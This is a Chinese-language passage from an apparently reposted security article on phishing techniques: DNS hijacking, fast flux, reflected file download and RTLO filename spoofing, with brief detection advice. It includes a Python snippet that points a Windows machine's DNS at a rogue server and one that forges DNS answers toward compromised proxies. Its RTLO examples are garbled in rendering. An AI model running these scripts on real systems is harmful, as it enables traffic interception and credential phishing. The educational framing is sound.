例如,攻击者可以更改 DNS 记录,使其paypal.com指向钓鱼网站而不是合法的 PayPal 网站。
3.中间人攻击
通过将 DNS 查询重定向到他们控制的服务器,攻击者可以拦截和修改用户与目标网站之间的网络流量。这可能导致数据被盗或进一步的网络钓鱼尝试。
4.ISP 或 DNS 提供商操纵
ISP 或 DNS 提供商可能会将用户重定向到自己的 Web 服务器,以用于广告或其他目的。虽然这比恶意 DNS 劫持的危害性要小,但仍会影响用户体验和隐私。
对网络钓鱼的影响
-
欺骗性网站: DNS 劫持允许攻击者创建与合法网站完全相同的网络钓鱼网站,诱骗用户输入敏感信息,例如登录凭据或财务详细信息。
-
凭证收集:通过将用户重定向到虚假登录页面,攻击者可以收集用户名、密码和其他个人信息。
-
社会工程学:攻击者可以使用被劫持的域名来发送链接到其恶意网站的令人信服的网络钓鱼电子邮件,从而增加攻击成功的可能性。
检测与预防
1.DNS 监控和安全
-
实施 DNS 监控工具来检测 DNS 记录中的可疑变化或异常流量模式。
-
使用 DNS 安全扩展 (DNSSEC) 确保 DNS 响应是真实的并且未被篡改。
DNS 劫持的示例场景
以下 Python 代码片段说明了攻击者如何使用该netsh命令更改 Windows 计算机上的 DNS 设置。此代码仅用于教育目的,并演示了攻击者如何修改 DNS 设置。
import
subprocess
# Replace with the IP address of the rogue DNS server
rogue_dns_server =
"10.0.0.1"
# Get the current DNS server settings
current_dns_servers = subprocess.check_output([
"netsh"
,
"interface"
,
"ip"
,
"show"
,
"dnsservers"
])
# Modify the DNS server settings to point to the rogue DNS server
subprocess.call([
"netsh"
,
"interface"
,
"ip"
,
"add"
,
"dnsservers"
,
"Wi-Fi"
, rogue_dns_server])
# Confirm that the DNS server settings have been changed
new_dns_servers = subprocess.check_output([
"netsh"
,
"interface"
,
"ip"
,
"show"
,
"dnsservers"
])
print(new_dns_servers.decode())
https://unprotect.it/technique/dns-hijacking/
快速通量
Fast Flux是网络犯罪分子用来掩盖其网络钓鱼和恶意软件传播站点位置的一项先进技术。通过不断更改与域关联的 IP 地址,Fast Flux 使安全团队和执法部门难以追踪和关闭这些恶意站点。该技术利用受感染主机网络充当代理,从而增强僵尸网络的弹性和匿名性。
1.动态 DNS 记录
-
Fast Flux 依靠动态 DNS 记录来频繁更改与域关联的 IP 地址。每次进行 DNS 查询时,响应可能包含不同的 IP 地址,因此很难确定恶意服务器的实际位置。
2.受感染主机的僵尸网络
-
该技术利用大量受感染的计算机(通常是僵尸网络的一部分)作为代理。这些受感染的主机不断在 DNS 记录中轮换,确保 IP 地址快速变化。
3.对等网络
-
Fast Flux 可以与点对点 (P2P) 网络相结合,其中僵尸网络节点直接相互通信。这增加了跟踪和破坏网络的复杂性。
4.分布式指挥与控制(C2)
-
通过将命令和控制基础设施分布在许多节点上,Fast Flux 增强了僵尸网络的弹性。如果一个节点关闭,其他节点仍可继续运行,从而保持对受感染主机和网络钓鱼操作的控制。
5.基于 Web 的负载平衡
-
Fast Flux 通常涉及基于 Web 的负载平衡,以在多个代理之间分配流量。由于 IP 地址和端点不断变化,这使得阻止或过滤恶意流量变得更加困难。
6.代理重定向
-
使用 Fast Flux 的恶意网站通常会通过多个代理服务器重定向用户。这可以进一步掩盖钓鱼或恶意软件传播网站的真实位置。
快速通量模拟示例场景
以下是一段 Python 代码片段,演示了 DNS 服务器如何通过为给定域返回多个 IP 地址来处理 Fast Flux 的简化模拟。此示例使用dnslib和socket模块执行 DNS 操作。
import
dnslib
import
socket
# Replace with the IP address of the DNS server
dns_server =
"8.8.8.8"
# Replace with the domain name that you control
domain_name =
"example.com"
# Replace with the IP addresses of the compromised hosts that will act as proxies
proxy_addresses = [
"10.0.0.1"
,
"10.0.0.2"
,
"10.0.0.3"
]
# Create a DNS query for the domain name
query = dnslib.DNSRecord.question(domain_name)
# Send the DNS query to the DNS server
dns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns_socket.sendto(query.pack(), (dns_server,
53
))
# Receive the DNS response from the DNS server
response = dnslib.DNSRecord.parse(dns_socket.recv(
4096
))
# Modify the DNS response to include the IP addresses of the compromised hosts
response.add_answer(*dnslib.RR.fromZone(
f"
{domain_name}
A "
+
" "
.join(proxy_addresses)))
# Simulate sending the modified DNS response back to the client (
note:
this requires actual client address and port)
client_address = (
"client_ip"
,
12345
)
# Replace with actual client address and port
dns_socket.sendto(response.pack(), client_address)
https://unprotect.it/technique/fast-flux/
反射文件下载
反射文件下载是一种复杂的网络钓鱼技术,攻击者利用合法服务或网站分发恶意文件。这种技术会诱骗用户下载看似来自可靠来源但实际上旨在破坏其系统的文件。
1.利用可信来源
-
攻击者使用被入侵或合法的网站来托管或链接恶意文件。这些来源通常受到目标的信任,因此网络钓鱼尝试的可疑性较低。
2.混淆和误导性信息
-
恶意文件通常会伪装成合法文档,例如 PDF、Word 文件或可执行文件。该文件可能包含宏、脚本或其他类型的恶意软件,旨在利用目标系统中的漏洞。
3.传递机制
-
恶意文件通常通过电子邮件附件、钓鱼电子邮件中的链接或被入侵的合法网站传播。电子邮件或消息通常包含令人信服的内容,以诱使用户下载并打开文件。
4.执行和有效载荷
-
一旦用户下载并打该文件,它可能会执行恶意代码,窃取凭据,安装其他恶意软件或利用系统漏洞。
RTLO 角色
从右到左覆盖 (RTLO)字符是一种 Unicode 控制字符,可用于网络钓鱼攻击以欺骗用户并掩盖恶意文件或链接的真实性质。下面详细介绍了 RTLO 字符如何用于网络钓鱼及其对安全的影响。
RTLO 代表“从右到左覆盖”,它是用于更改文本方向的 Unicode 控制字符。它主要用于从右到左书写的语言,例如阿拉伯语或希伯来语。RTLO 字符允许文本以与默认书写系统相反的方向显示。
-
Unicode 值: U+202E
-
功能:它反转其后面的字符的顺序,有效地使文本以从右到左的格式显示。
RTLO 如何被利用于网络钓鱼
RTLO 字符可能会被恶意用来伪装文件名、URL 或电子邮件地址的真实性质。以下是它们在网络钓鱼攻击中的典型用法:
1.隐藏文件扩展名:
-
示例:文件document.pdf可能被混淆为 ,并document.pdf在 之前插入 RTLO 字符.pdf,使其看起来像document.pdf,但实际上是document.exe或另一个可执行文件。这可能会欺骗用户下载或打开实际上是恶意的文件。
2.欺骗性 URL:
-
示例:攻击者可能使用 RTLO 伪装 URL,使其看起来像合法网站,但实际上会引导到钓鱼网站。例如,URL 可能显示为example.com,但使用 RTLO 后,可能会伪装成example.com。
3.误导性的电子邮件地址:
-
示例: RTLO 可用于创建欺骗性电子邮件地址。使用 RTLO 字符时,地址可能看起来像[email protected]但实际上不是,从而导致混淆和潜在的网络钓鱼。[email protected]
RTLO 使用场景示例
1.文件名混淆:
-
原来的:report.docx
-
模糊化:(report.docx其中.docx反转后看起来像docx.)
2.钓鱼网址示例:
-
原来的:https://secure-bank.com
-
混淆:(https://secure-bank.com由于 RTLO,实际域名可能有所不同)
安全检查表
https://github.com/hoangcuongflp/Email-Security-Checklist
https:
/
/redteamrecipe.com/top
-phishing-techniques?showSharer=
true
原文始发于微信公众号(Ots安全):顶级网络钓鱼技术
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论